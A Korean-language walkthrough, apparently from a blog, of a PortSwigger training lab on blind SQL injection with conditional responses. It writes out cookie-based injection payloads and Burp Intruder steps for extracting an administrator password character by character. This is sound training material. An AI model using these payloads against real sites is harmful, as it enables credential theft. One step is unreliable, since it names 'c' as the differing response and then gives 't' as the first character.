Lab: Blind SQL injection with conditional responses
https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses
Blind SQL Injection
administrator의 비밀번호를 획득하면 문제 해결
테이블명은 users, 컬럼명은 username, password, 사용자 계정은 administrator
패스워드는 알파벳 소문자와 숫자로만 구성되어있음
정상적으로 실행될때는 Welcom back 문구를 포함하고 있음
[기본 설정] 프록시 설정, ACCESS THE LAB의 주소를 Burp Suite에 설정
(1) burp suite에서 패킷을 확인합니다.
쿠키를 보면 TrackingId와 session 값이 있는데 TrackingId는 추적쿠키, session은 사용자 인증 값이라고 유추해 볼 수 있습니다.
(2) 해당 패킷을 Repeater로 보내고 TrackingId에 값을 넣어 SQL Injection이 되는지 확인해봅니다.
입력 > TrackingId=원본값'
입력 > TrackingId=원본값' and 1=2
결과 > Response에 Welcome back이 출력되지 않으므로 실패
입력 > TrackingId=원본값' and 1=1--
입력 > TrackingId=원본값' and 'a'='a
결과 > Response에 Welcome back이 출력되므로 성공
=> SQL 쿼리조작이 가능함을 확인함
(3) users라는 테이블이 있는지 확인합니다. (문제에 테이블명을 알려줌: users)
입력 > TrackingId=원본값' and (select 'a' from users limit 1) = 'a
"select 'a' from users limit 1" 값이 참이면 a를 반환하고 끝에 있는 a와 비교하여 같다면 Welcom back 문구를 반환합니다.
=> user 테이블이 있음을 확인함
(4) administrator라는 사용자가 있는지 확인합니다. (문제에 사용자 계정을 알려줌: administrator)
입력 > TrackingId=원본값' and (select 'a' from users where username='administrator') = 'a
=> administrator 사용자가 있음을 확인함
(5) 이번에는 and 조건을 하나 더 추가하여 패스워드 길이를 확인합니다. (문제에 패스워드 컬럼명을 알려줌: password)
입력 > TrackingId=원본값' and (select 'a' from users where username='administrator' and length(password) > 1) = 'a
(5)-1 하나씩 값을 넣어 (1,2,3...) 패스워드 길이를 확인합니다.
이 과정이 귀찮기 때문에 자동화 하기 위해 Intruder를 사용합니다.
자동으로 값을 바꾸고자하는 1을 드래그 > Add 클릭 > 1 양 옆에 기호 확인 > Payloads 클릭
Payload type을 Numbers로 지정 > 몇번까지 돌릴 건지 설정(From: 1, To: 30; 1부터 30까지 자동화) > Start attack 클릭
아래 검색칸에 Welcome back을 입력하고 1번부터 확인합니다.
또는 Lenght로 확인할 수 있습니다. 19보다는 큰 것을 확인할 수 있습니다.
=> 패스워드 길이는 20자리 확인
(6) 다시 Repeater로 가서 패스워드의 실질적인 값을 확인해야합니다.
입력 > TrackingId=원본값' and (select substring(password,1,1) from users where username='administrator') = 'a
SQL문을 해석하면 "password의 값을 첫번째부터 1개를 추출할건데 그 값이 a인가?" 라는 의미입니다.
=> DBMS에 따라 사용할 수 있는 함수가 다릅니다.
=> MySQL : SUBSTR(), SUBSTRING()
=> Oracle : SUBSTR()
=> SQL Server : SUBSTRING()
(6)-1 하나씩 값을 넣어 패스워드 값을 확인합니다.
이 과정 또한 Intruder를 사용합니다.
자동으로 값을 바꾸고자하는 a를 드래그 > Add 클릭 > a 양 옆에 기호 확인 > Payloads 클릭
메모장에 a~z까지, 0~9까지 입력하여 바탕화면에 저장합니다. (힌트 확인: 패스워드는 소문자와 숫자로만 구성)
Payload type을 Simple list로 지정 > Load를 클릭하여 만들어둔 txt파일을 open > Start attack 클릭
아래 검색칸에 Welcome back을 입력하고 확인합니다.
또는 Lenght로 확인할 수 있습니다. c값만 Length가 다른 것을 볼 수 있습니다.
=> 패스워드 첫번째 자리는 t
=> 이런 방법을 20번을 해서 비밀번호를 찾아냅니다...
=> substring(password,1,1), substring(password,2,1), substring(password,3,1) ....
=> 찾은 비밀번호: tohi2jf5n3q2sc648ay3
(7) 블로그에서 로그인이 되는지 확인합니다.